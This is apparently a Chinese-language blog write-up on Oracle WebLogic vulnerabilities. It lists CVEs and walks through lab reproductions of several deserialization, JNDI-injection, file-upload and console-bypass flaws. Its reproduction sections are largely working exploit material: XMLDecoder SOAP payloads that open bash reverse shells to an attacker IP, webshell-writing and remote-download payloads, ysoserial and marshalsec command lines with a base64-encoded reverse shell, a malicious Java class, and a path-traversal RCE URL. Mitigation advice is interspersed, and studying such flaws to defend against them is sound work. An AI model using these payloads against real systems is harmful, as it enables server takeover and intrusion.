Weblogic常见安全漏洞
Weblogic常见安全漏洞
Takake常见漏洞
以下是WebLogic常见的安全漏洞列表,按类型和影响分类:
1. 反序列化漏洞
-
CVE-2017-3506
- 描述 :XMLDecoder反序列化漏洞,允许远程代码执行(RCE)。
- 影响 :攻击者通过构造恶意XML数据执行任意命令。
-
CVE-2017-10271
- 描述 :CVE-2017-3506的补丁绕过,同样通过XMLDecoder触发RCE。
-
CVE-2019-2725
- 描述 :WebLogic wls9-async组件反序列化漏洞,影响Oracle WebLogic 10.3.6.0及12.1.3.0版本。
-
CVE-2020-2551
- 描述 :通过IIOP协议的反序列化漏洞,攻击者可在未授权下远程执行代码。
-
CVE-2020-14882 和 CVE-2020-14883
- 描述 :通过14882控制台未授权绕过,再结合14883的远程加载xml文件实现RCE
-
CVE-2023-21839(历史补丁关联)
- 背景 :2023年未完全修复的漏洞,后续引发 CVE-2024-20931。
- 影响 :通过 T3 协议远程执行代码,需结合后续补丁彻底修复
-
CVE-2024-20931(JNDI注入)
- 关联漏洞 :CVE-2023-21839 补丁未完全修复的遗留问题。
- 影响版本 :12.2.1.4.0、14.1.1.0.0
-
漏洞原理
:
ForeignOpaqueReference对象在远程查询时触发二次 JNDI 注入,攻击者通过 T3/IIOP 协议接管服务器。 -
CVE-2015-4852
- 描述: 首个公开的T3反序列化漏洞,利用Apache Commons Collections链实现RCE
-
CVE-2017-3248
- 类型 :Java RMI 反序列化漏洞
- 影响版本 :WebLogic 10.3.6.0, 12.1.3.0 等
-
原理
:
RMI 注册表(通过 T3 协议通信)未校验反序列化对象,攻击者可利用RemoteObjectInvocationHandler触发远程代码执行。 - 关联协议 :T3、RMI
-
利用工具
:
ysoserial的JRMPClientPayload -
CVE-2018-2628
- 类型 :T3 协议反序列化 RCE
- 影响版本 :WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.2/3 等
-
原理
:
T3 协议处理InboundMsgAbbrev类的反序列化时,绕过黑名单过滤,利用RemoteObjectInvocationHandler和 JRMP 协议下发恶意代码。 -
关键点
:绕过对
java.rmi.registry.Registry接口的校验,触发二次反序列化。 - CVSS 评分 :9.8(严重)
-
CVE-2020-2883
-
类型
:T3 协议补丁绕过漏洞
- 影响版本 :WebLogic 10.3.6.0, 12.2.1.3-12.2.1.5 等
-
原理
:
CVE-2018-2628 的补丁未完全覆盖所有利用链,攻击者通过新的反序列化路径(如UnicastRef)绕过防御。 - 关联协议 :T3
- 修复建议 :升级至 2020 年 4 月 Oracle 关键补丁更新(CPU)。
-
类型
:IIOP/T3 协议反序列化 RCE
- 影响版本 :WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3-12.2.1.5 等
-
原理
:
通过 IIOP 协议(与 T3 协议共用反序列化逻辑)触发UnitOfWorkChangeSet类的反序列化漏洞。 - 关联协议 :IIOP、T3
-
利用工具
:
weblogic-framework或定制化 Payload。 - 类型 :核心组件反序列化 RCE
- 影响版本 :WebLogic 12.2.1.3-12.2.1.5, 14.1.1.0.0 等
-
原理
:
Coherence组件的反序列化漏洞通过 T3/IIOP 协议触发,允许未授权攻击者执行命令。 - 关联协议 :T3、IIOP
- CVSS 评分 :9.8(严重)
-
CVE-2020-14825
- 漏洞类型 :IIOP/T3协议反序列化漏洞
- 影响版本 :12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
-
描述
:利用黑名单未覆盖的
LockVersionExtractor类构造恶意序列化数据,通过IIOP或T3协议触发反序列化,实现RCE。 - 关联协议 :T3、IIOP
-
CVE-2020-14841 和 CVE-2020-14859
-
漏洞类型 :IIOP协议反序列化漏洞
-
影响版本 :10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
-
描述 :通过IIOP协议绕过反序列化防护机制,攻击者可远程执行代码。这两个漏洞常与CVE-2020-14825一同被提及7。
-
修复方式 :应用Oracle安全补丁。
-
CVE-2024-21216
-
CVSS评分 :9.8(严重)
-
影响版本 :12.2.1.4.0、14.1.1.0.0
-
漏洞原理 :通过 T3/IIOP 协议的反序列化漏洞,未经身份验证的攻击者可远程执行任意代码,完全控制服务器。
-
修复方案 :官方已发布补丁,建议禁用 T3/IIOP 协议作为临时缓解措施。
3. 未经身份验证的远程代码执行(RCE)
-
CVE-2020-14882
- 描述 :通过HTTP协议绕过身份验证,结合 CVE-2020-14883 (权限提升)实现未授权RCE。
-
CVE-2021-2109
- 描述 :Admin Console组件漏洞,允许未授权攻击者接管服务器。
-
CVE-2014-4210
- 描述 :未授权SSRF漏洞,攻击者可探测内网服务或发起进一步攻击。
-
CVE-2020-14644
- 描述 :核心组件漏洞,攻击者可通过构造数据提升权限至管理员。
-
弱口令/默认配置
-
风险
:默认管理员账户(如
weblogic/weblogic123)未修改,易被暴力破解。 -
CVE-2018-2893
- 描述 :控制台配置错误导致RCE,需认证用户利用。
-
Log4j (CVE-2021-44228)
- 描述 :若WebLogic使用受影响版本的Log4j,攻击者可通过日志注入实现RCE。
-
CVE-2020-14750
- 描述 :身份验证绕过漏洞,影响WebLogic多版本。
-
CVE-2018-3252
- 描述 :WebLogic Server远程代码执行漏洞,需攻击者构造特定T3请求。
-
请求入口
:
攻击者发送 POST 请求到/wls-wsat/CoordinatorPortType等路径,SOAP 请求头中包含恶意 XML 数据。 -
XML 解析流程
:
WebLogic 的WorkContextServerTube.processRequest方法调用readHeaderOld,将请求中的 XML 数据传入WorkContextXmlInputAdapter类的构造函数。 -
反序列化执行
:
WorkContextXmlInputAdapter直接调用XMLDecoder反序列化未经过滤的 XML 数据,导致恶意代码执行。 -
反序列化入口
:
检查XMLDecoder的使用场景,尤其是用户可控的输入是否直接传入反序列化方法。 -
XML 过滤机制
:
是否对 XML 标签(如object、void、array)和类名(如java.lang.ProcessBuilder)进行黑名单过滤。 -
补丁绕过风险
:
初始补丁(CVE-2017-3506)仅过滤object标签,后续 CVE-2017-10271 通过array或void标签绕过,需验证黑名单的完整性。 -
触发点
:
WorkContextServerTube.processRequest处理 SOAP 请求头。 -
反序列化路径
:
通过调试工具(如 IDA 或 Java 调试器)追踪
1
processRequest → readHeaderOld → WorkContextXmlInputAdapter → XMLDecoder.readObject()
XMLDecoder的调用栈,确认是否触发ProcessBuilder.start()方法。 -
组件删除
:
删除wls-wsat.war及相关目录(如Middleware/wlserver_10.3/server/lib/wls-wsat.war)。 -
网络控制
:
限制/wls-wsat/路径的访问权限,禁止外网直接访问。 -
补丁升级
:
确认已应用 Oracle 官方补丁(如 2017 年 4 月关键补丁)。 - 漏洞本质 :XMLDecoder 反序列化未过滤用户输入的恶意标签。
- 审计重点 :关注所有 XML 解析逻辑,尤其是涉及动态类加载或命令执行的代码路径。
-
防御建议
:
- 使用白名单机制替代黑名单,限制可反序列化的类。
- 升级至最新版本,定期进行漏洞扫描(如使用 Nessus)。
-
入口请求
:
攻击者向 WebLogic 的wls-wsat服务端点(如/wls-wsat/CoordinatorPortType)发送 SOAP 格式的 HTTP POST 请求,请求头中包含恶意 XML 数据。 -
XML 解析与反序列化
:
WebLogic 的WorkContextServerTube.processRequest方法处理请求,通过readHeaderOld方法提取 SOAP 头部的WorkContext标签内容,并将其传递给WorkContextXmlInputAdapter类。 -
XMLDecoder 反序列化
:
WorkContextXmlInputAdapter直接调用XMLDecoder对未经验证的 XML 数据进行反序列化,导致攻击者构造的恶意代码(如java.lang.ProcessBuilder)被执行。 -
CVE-2017-3506 的修复缺陷 :Oracle 初始补丁仅过滤
object标签,但攻击者可通过其他标签(如array、void)绕过限制。 -
恶意 XML 构造 :
利用ProcessBuilder启动/bin/bash执行命令,或通过java.io.PrintWriter写入 WebShell。例如:1
2
3
4
5
6
7
8
9
10<java version ="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/攻击者IP/端口 0>&1</string></void>
</array>
<void method="start"/>
</void>
</java>运行 HTML
该 XML 触发
ProcessBuilder.start()执行反弹 Shell 命令三、漏洞复现
1. 环境搭建
-
使用 Vulhub 快速部署
-
下载 Vulhub 项目并进入漏洞目录:
1
2cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d -
启动后访问
http://目标IP:7001,若返回 404 页面则说明 WebLogic 服务正常。 -
手动搭建 WebLogic 环境
- 适用于 Linux 系统(如 CentOS 6.9),需安装 WebLogic 10.3.6.0 版本及兼容 JDK(如 JDK 1.8)。
-
检测漏洞存在性
-
访问 URL
http://目标IP:7001/wls-wsat/CoordinatorPortType,若返回 如下格式页面则可能存在漏洞。 -
构造恶意请求
-
反弹 Shell
使用 Burp Suite 或 Python 脚本发送包含以下 XML 的 POST 请求:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 目标IP:7001
Content-Type: text/xml
...
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/192.168.100.129/1234 0>&1</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>1
bash -i >& /dev/tcp/192.168.100.129/1234 0>&1
需在攻击机开启监听端口(如
nc -lvp 1234)。需要对特殊payload中的特殊字符进行实体编码,防止其特殊含义
-
写入 WebShell
修改 XML 中的<ProcessBuilder>为<PrintWriter>,写入 JSP 文件:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("webshell"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>访问
http://目标IP:7001/bea_wls_internal/shell.jsp验证是否写入成功。注意: 9j4dqk目录是根据部署时间和应用名称随机生成的短hash,具体利用时需利用爆破或者目录泄露。
3. 自动化工具利用
-
使用 Python 脚本批量检测或执行命令,例如:
1
2
3
4
5
6
7import requests
def exploit(url):
headers = {'Content-Type': 'text/xml'}
xml_payload = '上述反弹Shell的XML内容'
response = requests.post(url, headers=headers, data=xml_payload)
if response.status_code == 500:
print("漏洞存在且利用成功!") -
主要利用端点
-
/wls-wsat/CoordinatorPortType
描述 :标准漏洞触发路径,所有复现流程均基于此 URL。 -
其他潜在端点
1
2
3
4
5
6
7/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11 -
协议与端口
- WebLogic 默认监听端口为 7001 ,但实际环境可能配置为 80、7002 等其他端口。
- 确保目标服务器未禁用 T3/IIOP 协议(可通过网络策略限制)。
- WebShell 写入路径因 WebLogic 版本和安装目录不同而变化,需通过调试确定具体路径(如随机生成的目录名)。
-
删除
wls-wsat.war组件或限制其访问权限。 - 及时应用 Oracle 官方补丁(如 2017 年 10 月补丁)。
-
入口点
:攻击者向 WebLogic 的异步通信服务端点(如
/_async/AsyncResponseService)发送恶意 SOAP 请求,请求中包含构造的 XML 数据。 -
XML 解析
:WebLogic 的
WorkContextServerTube处理请求,将 XML 数据传递给WorkContextXmlInputAdapter类。 -
反序列化执行
:
WorkContextXmlInputAdapter直接调用XMLDecoder对恶意 XML 进行反序列化,触发ProcessBuilder或UnitOfWorkChangeSet类的恶意代码执行。 -
历史补丁缺陷 :CVE-2017-10271 补丁仅过滤了
object、new、method标签,但允许void和array标签通过。 -
攻击载荷构造 :通过
void和array标签结合java.lang.ProcessBuilder或java.lang.Runtime类,绕过黑名单限制。
示例 Payload :1
2
3
4
5
6
7
8
9
10
11
12<work:WorkContext>
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>wget http://攻击者IP/shell.jsp</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext> -
组件路径
:检查
wls9_async_response.war和wsat.war中的WorkContextXmlInputAdapter类,确认是否直接调用XMLDecoder且未过滤输入。 -
HTTP 请求处理链
:跟踪
BaseWSServlet→SoapProcessor→WorkContextServerTube的调用链,验证 XML 数据是否未经校验直接反序列化。 -
黑名单检查
:确认补丁是否扩展了黑名单(如新增对
class属性的过滤),并验证void和array标签的解析逻辑是否存在漏洞。 -
长度限制绕过
:Oracle 在补丁中限制了
array的length属性(如不得大于 10000),需检查是否可通过构造合法长度绕过。 -
UnitOfWorkChangeSet 类
:该类的反序列化过程中通过
ByteArrayInputStream和ObjectInputStream直接调用readObject(),若 JDK 版本 ≤ 7u21,可利用ysoserial生成恶意对象。 -
日志与调试信息
:通过调试器(如 IDEA)在
ProcessBuilder.start()或Runtime.exec()处设置断点,验证是否触发恶意代码执行。 - 补丁升级 :应用 Oracle 官方补丁(如 2019 年 4 月紧急补丁),彻底修复反序列化逻辑。
-
组件删除
:删除
wls9_async_response.war和wls-wsat.war文件,并重启服务。 - JDK 升级 :将 WebLogic 默认的 JDK 1.6 升级至 7u21 以上版本,避免原生反序列化漏洞。
-
访问控制
:通过防火墙或 ACL 限制对
/_async/和/wls-wsat/路径的访问。 -
协议入口 :
WebLogic 默认开启的 T3 协议用于支持分布式通信,但未对传入的 RMI 请求进行严格的序列化数据校验。攻击者通过 T3 协议发送构造的恶意数据包,触发反序列化流程。 -
反序列化绕过 :
WebLogic 的weblogic.rjvm.InboundMsgAbbrev类在反序列化时调用resolveProxyClass方法,仅校验java.rmi.registry.Registry接口,而攻击者可通过其他 RMI 接口(如java.rmi.activation.Activator)绕过黑名单限制。 -
利用链构造 :
利用ysoserial工具生成包含恶意命令的序列化对象(如CommonsCollections1),通过RemoteObjectInvocationHandler和UnicastRef类建立与攻击机 JRMP 服务的连接实现二次反序列化加载恶意序列化对象,加载并执行远程恶意代码。关键代码段 :
1
2
3
4
5
6
7
8
9// 反序列化绕过点:resolveProxyClass 方法仅校验特定接口
protected Class<?> resolveProxyClass(String[] interfaces) {
for (String str : interfaces) {
if (str.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}2. 漏洞利用链
-
攻击流程
:
- 攻击机启动 JRMP 服务监听端口,生成恶意序列化对象。
- 目标 WebLogic 接收到构造的 T3 请求后,反序列化触发 JRMP 连接请求。
- 攻击机通过 JRMP 服务下发恶意代码,执行系统命令(如反弹 Shell 或写入 WebShell)。
-
反序列化入口 :
检查weblogic.rjvm.InboundMsgAbbrev类中的readObject方法,确认是否对输入数据进行了严格的校验。 -
黑名单过滤机制 :
-
补丁中新增的
WebLogicFilterConfig类会过滤sun.rmi.server.UnicastRef等危险类,但需验证是否覆盖完整的反射链(如RemoteObjectInvocationHandler未被完全过滤)。 -
确认黑名单是否动态加载,避免补丁文件未生效(如
BUG27395085_10360180417.jar未正确更新)。 -
协议控制逻辑 :
-
检查 T3 协议的网络访问权限配置(如
ConnectionFilterImpl规则是否限制外部 IP 访问)。 -
补丁分析 :
官方补丁通过扩展黑名单和增强resolveProxyClass的校验逻辑修复漏洞,但早期版本可能因 JDK 兼容性问题(如 JDK ≤ 7u21)仍存在绕过风险。 -
绕过风险 :
若反序列化链中未直接使用黑名单类(如UnicastRef仅在底层调用),补丁可能失效。需结合调试工具跟踪反序列化过程,确认所有关键节点是否被覆盖。四、漏洞利用流程
一、环境准备
-
靶机环境搭建
使用 Vulhub 的 Docker 环境快速部署漏洞靶机:1
2
3git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d启动后,访问
http://靶机IP:7001/console确认 WebLogic 服务正常运行。 -
攻击机工具准备
- ysoserial :用于生成反序列化 Payload 和启动 JRMP 监听服务( 下载地址 )。
-
Python 脚本
:如
44553.py或exploit.py( 示例脚本 )。 - Java 环境 :需 JDK 1.8+,避免高版本兼容性问题(如 Java 17 无法运行 ysoserial)。
-
PoC 编写
- 将44553.py exp改编为python3且可自定义payload文件的exp,实现代码如下
-
确认 T3 协议开放
使用nmap扫描目标是否开启 T3 协议:若返回1
nmap -n -v -p7001 靶机IP --script=weblogic-t3-info
State: OPEN和版本信息,则存在漏洞风险。 -
启动 JRMP 监听服务
在攻击机上运行ysoserial启动 JRMP Server,监听指定端口并绑定恶意命令:1
2
3
4
5
6
7
8┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
* Opening JRMP listener on 1099
Have connection from /192.168.100.137:33292
Reading message...
Is DGC call for [[0:0:0, 199852631]]
Sending return with payload for obj [0:0:0, 2]
Closing connection编码命令示例 (反弹 Shell):
1
2
3┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ echo -n "bash -i >& /dev/tcp/192.168.100.129/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTIzNCAwPiYx说明 :需将原始命令 Base64 编码,绕过
Runtime.exec()的管道符限制。 -
生成并发送 Payload
使用 Python 脚本向目标发送构造的 T3 协议数据包:1
2
3
4
5┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ java -jar ysoserial-all.jar JRMPClient 192.168.100.129:1099 > payload.out2
┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ python CVE-2018-2628.py 192.168.100.137 7001 payload.out2参数说明 :
-
payload.out2:为payload文件的路径。 -
JRMPClient:指定 Payload 类型(可选JRMPClient或JRMPClient2)。 -
验证攻击结果
-
反弹 Shell 验证
:在攻击机开启监听
nc -lvp 1234,成功获取 Shell 即表示漏洞利用成功。 -
Payload 构造
:
JRMPClient生成的Registry代理对象被反序列化后,触发RemoteObjectInvocationHandler的逻辑。 -
绕过校验
:
WebLogic 的补丁仅拦截了直接使用Registry接口的反序列化操作,但RemoteObjectInvocationHandler的调用链并未被完全过滤。 -
建立 JRMP 连接
:
RemoteObjectInvocationHandler尝试连接到攻击机指定的 JRMP 服务(通过UnicastRef中的TCPEndpoint)。 -
二次反序列化
:
攻击机的 JRMP 服务返回一个 真正的恶意对象 (如CommonsCollections1),WebLogic 在接收此对象时再次触发反序列化。 -
绕过黑名单
:
二次反序列化的对象(如CommonsCollections1)通过其他利用链(非Registry接口)绕过黑名单。 -
代码执行
:
最终触发InvokerTransformer或类似逻辑,执行系统命令。 -
官方补丁升级 :
安装 Oracle 2018 年 4 月发布的 CPU 补丁(如 Patch Set Update 180417),修复反序列化逻辑并扩展黑名单。 -
临时缓解措施 :
-
禁用 T3 协议或限制访问 IP(通过
ConnectionFilterImpl配置规则)。 -
删除非必要的
wls-wsat.war和wls9_async_response.war组件。 -
环境加固 :
- 升级 JDK 至 7u21 以上版本,避免低版本反序列化漏洞。
- 定期扫描 WebLogic 日志,监控异常 T3 连接请求。
- 未严格校验输入数据 :WebLogic 未对反序列化的类进行充分校验,导致恶意对象被解析。
- 利用链(Gadget Chain)绕过黑名单 :攻击者通过构造未被黑名单覆盖的类组合链,触发代码执行。
-
触发点类
:例如
PriorityQueue,其readObject方法在反序列化时会调用comparator的比较操作。 -
恶意比较器(Comparator)
:例如
ExtractorComparator,通过反射调用ValueExtractor的extract方法。 -
代码执行类
:例如
ReflectionExtractor或ChainedExtractor,最终调用Runtime.getRuntime().exec()执行系统命令。 -
黑名单绕过
:Oracle 在修复 CVE-2018-2628 时,仅将部分危险类(如
InvokerTransformer)加入黑名单。CVE-2020-2883 利用未被覆盖的类(如ExtractorComparator)构造新利用链。 -
动态代理与反射
:通过
RemoteObjectInvocationHandler等类动态代理恶意对象,绕过静态检测。 -
构造恶意序列化对象 :
-
使用
ysoserial或自定义工具生成包含命令执行逻辑的序列化数据。 -
示例命令:
bash -c {echo,<base64编码命令>}|{base64,-d}|bash。 -
通过 T3 协议发送 Payload :
- T3 协议默认监听端口 7001 ,攻击者将恶意数据封装为 T3 协议数据包发送至目标服务器。
-
反序列化触发代码执行 :
- WebLogic 反序列化恶意数据时,依次触发利用链中的类方法,最终执行系统命令。
-
扩展黑名单
:将
ExtractorComparator、ReflectionExtractor等类加入反序列化黑名单。 - 增强协议过滤 :限制 T3/IIOP 协议的反序列化操作。
-
禁用 T3/IIOP 协议
:
1
2<!-- 修改 config.xml -->
<connection-filter>t3 127.0.0.1 allow</connection-filter> - 升级至最新版本 :应用 Oracle 2020 年 4 月及之后的关键补丁(CPU)。
- 网络隔离 :限制 WebLogic 端口(7001、7002)的公网访问。
-
监听
nv -lnvp 1234 - 漏洞编号 :CVE-2020-2551,CVSS 评分为 9.8 (严重),利用难度低。
-
影响版本
:
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0。
- 协议关联 :漏洞通过 IIOP(Internet Inter-ORB Protocol) 触发,该协议用于 CORBA 对象通信,默认在 WebLogic 的 7001 端口开放。
-
IIOP 请求触发
:攻击者通过
InitialContext绑定恶意对象至 IIOP 服务端,例如使用weblogic.jndi.WLInitialContextFactory初始化上下文。 -
反序列化调用链
:服务端在解析 IIOP 请求时,会调用
CorbaMessageMediatorImpl类的handleRequest方法,最终通过IIOPInputStream读取并反序列化恶意数据。 -
动态代理封装
:使用
Gadgets.createMemoitizedProxy将JtaTransactionManager封装为Remote接口的动态代理对象(基于AnnotationInvocationHandler)。 -
JNDI 注入
:通过
setUserTransactionName设置恶意 RMI/LDAP 地址,触发目标服务器从攻击者控制的服务器加载恶意类。 -
反序列化执行
:WebLogic 反序列化时,由于未递归检查父类,导致
JtaTransactionManager被成功解析,最终通过 JNDI 注入执行远程代码。 -
过滤机制缺陷
:WebLogic 对 IIOP 协议的反序列化检查仅针对当前类名,未递归验证父类。因此,即使
AbstractPlatformTransactionManager在黑名单中,其子类JtaTransactionManager仍可通过检查。 -
动态代理绕过
:通过动态代理(如
Remote接口)隐藏真实类名,绕过静态黑名单检测。 -
构造恶意序列化对象
:
-
使用
ysoserial生成JtaTransactionManager的序列化对象,并关联恶意 RMI 服务地址(如rmi://attacker-ip/Exploit)。 -
发送 IIOP 请求
:
-
通过
InitialContext.bind()方法将恶意对象绑定至目标 WebLogic 的 IIOP 服务端口(7001)。 -
触发反序列化
:
-
WebLogic 解析请求时,触发
IIOPInputStream的反序列化操作,加载并执行 RMI 服务中的恶意类(如远程加载exp.class执行系统命令)。 -
官方补丁
:Oracle 在 2020 年 1 月发布的补丁中扩展了黑名单,并修复了
CorbaUtils类的反序列化逻辑,添加递归类名检查。 -
临时缓解方案
:
- 禁用 IIOP 协议 :在 WebLogic 控制台中取消“启用 IIOP”选项,并重启服务。
- 网络隔离 :限制 7001 端口的公网访问,仅允许可信 IP 通信。
- 协议安全性 :IIOP 协议的反序列化漏洞再次凸显了分布式协议设计中输入校验的重要性。
- 防御纵深 :单纯依赖黑名单的防御机制存在局限性,需结合白名单、行为监控等多层防护。
- 漏洞利用趋势 :该漏洞的公开利用代码(如结合 Cobalt Strike)表明,攻击者正越来越多地利用反序列化漏洞实现高级持久化攻击。
-
推荐使用 Vulhub 的 CVE-2017-10271 环境 (已适配 CVE-2020-2551 复现):
1
2
3git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d -
确保 WebLogic 服务运行在
7001端口,访问http://靶机IP:7001验证服务正常。 -
攻击机环境
- Java 环境 :需安装 JDK 1.8(部分工具需 JDK 1.6 编译)。
-
工具准备
:
-
marshalsec:用于启动恶意 RMI 服务( 下载地址 )。 -
weblogic_CVE_2020_2551.jar:Payload 发送工具(需从开源项目编译或下载预编译版本)。 -
编写恶意类 (如
exp.java):1
2
3
4
5
6
7
8
9
10
11
12
13import java.io.IOException;
public class exp {
static {
try {
// 示例:弹出计算器(Windows)或执行其他命令
Runtime.getRuntime().exec("calc.exe");
// 反弹 Shell 示例(Linux):
// Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
} -
编译为
.class文件 (需兼容低版本 JDK):1
javac exp.java -source 1.6 -target 1.6
-
在恶意类所在目录启动 Python HTTP 服务:
1
python3 -m http.server 80 # 或 python -m SimpleHTTPServer 80(Python2)
-
使用
marshalsec启动 RMI 服务 :1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP/#exp" 1099
-
http://攻击机IP/#exp指向托管exp.class的 HTTP 服务。 -
使用
weblogic_CVE_2020_2551.jar发送恶意请求 :1
java -jar weblogic_CVE_2020_2551.jar 靶机IP 7001 rmi://攻击机IP:1099/exp
-
参数说明
:
-
靶机IP:7001:目标 WebLogic 的 IIOP 服务地址。 -
rmi://攻击机IP:1099/exp:恶意 RMI 服务地址。 -
/ws_utc/begin.do -
/ws_utc/config.do
这两个页面在 开发模式 下默认开启,而在 生产模式 下需手动启用“Web 服务测试页”选项。 -
工作目录修改 :
攻击者通过config.do页面将Work Home Dir设置为 WebLogic 应用的静态资源目录(如/u01/oracle/.../war/css),该目录无需权限即可访问。 - 关键点 :程序会自动将旧目录内容复制到新目录,但未限制路径合法性,导致攻击者可指定任意可写路径。
-
文件上传逻辑 :
-
在
config.do或begin.do页面的“安全”选项中,攻击者上传恶意文件(如 JSP Webshell)。 -
文件名生成规则为
时间戳_文件名(如1535682238190_webshell.jsp),其中时间戳通过请求参数或返回包获取。 -
文件保存路径 :
上传的文件被保存至Work Home Dir目录下的keystore子目录,路径为:1
http://目标IP:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
由于该路径无需权限,攻击者可直接访问并执行恶意文件。
3. 漏洞利用条件
-
目标环境
:
- WebLogic 版本为 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3 。
- 开发模式或生产模式下启用了“Web 服务测试页”选项。
-
攻击前提
:
- 需获取 WebLogic 管理端登录凭据(弱口令或通过日志泄露)。
-
路径校验缺失
:
WebLogic 在处理Work Home Dir修改时,未验证路径合法性,攻击者可将其指向任意可写目录(如静态资源目录)。程序自动复制文件时,未过滤危险文件类型(如 JSP)。 -
文件名拼接漏洞
:
文件名由timestamp参数与上传文件名拼接生成,未进行过滤,导致攻击者可控制最终文件名。 -
权限控制缺陷
:
config.do和begin.do页面在开发模式下无需认证即可访问,生产模式下虽需认证,但若攻击者获取凭据仍可触发漏洞。 - 官方补丁 :升级至 Oracle 2018 年 7 月及之后的版本,修复路径校验和文件名生成逻辑。
-
访问控制
:
-
禁用
config.do和begin.do页面的未授权访问。 - 在生产模式下关闭“Web 服务测试页”功能。
- 网络隔离 :限制 WebLogic 管理端(7001 端口)的公网暴露。
-
入侵检测
:部署 IPS/WAF 监控对
/ws_utc/路径的异常请求。 -
静态资源白名单机制
:
WebLogic 的WebAppSecurity模块维护了一个静态资源列表(如 CSS、JS 文件),标记为unrestricted(无需认证)。攻击者通过路径穿越使请求匹配到白名单中的静态资源路径,触发unrestricted=true,绕过checkAccess权限检查。 -
Servlet 分派逻辑
:
请求最终被分派至AsyncInitServlet,并进一步调用MBeanUtilsInitSingleFileServlet处理.portal文件。由于权限校验已绕过,攻击者可加载并解析console.portal文件,进入后台管理界面。 - 构造恶意URL :利用路径穿越访问管理后台。
- 绕过结果 :直接进入部署管理页面,但权限受限(无法直接部署应用)。
- 可集合14883实现远程RCE
-
路径黑名单检测
:增加对
../等路径穿越符号的过滤。 -
权限校验增强
:在
MBeanUtilsInitSingleFileServlet处理前强制验证用户身份。 -
静态资源列表更新
:限制非必要路径的
unrestricted属性。 -
com.tangosol.coherence.mvel2.sh.ShellSession - 适用版本 :WebLogic 12.2.1+(低版本无此类)
-
机制
:通过反射调用
ShellSession类的构造函数,传入恶意代码(如java.lang.Runtime.exec())直接执行系统命令。 -
示例利用
:
1
http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&handle=com.tangosol.coherence.mvel2.sh.ShellSession("Runtime.getRuntime().exec('calc');")
-
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext - 适用版本 :全版本(通过 Spring 框架漏洞)
-
机制
:加载远程 XML 文件,利用 Spring 的依赖注入机制实例化
ProcessBuilder,通过init-method="start"触发命令执行。 -
恶意 XML 示例
:
1
2
3
4
5
6
7
8
9<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/攻击机IP/端口 0>&1]]></value>
</list>
</constructor-arg>
</bean> -
请求分派 :
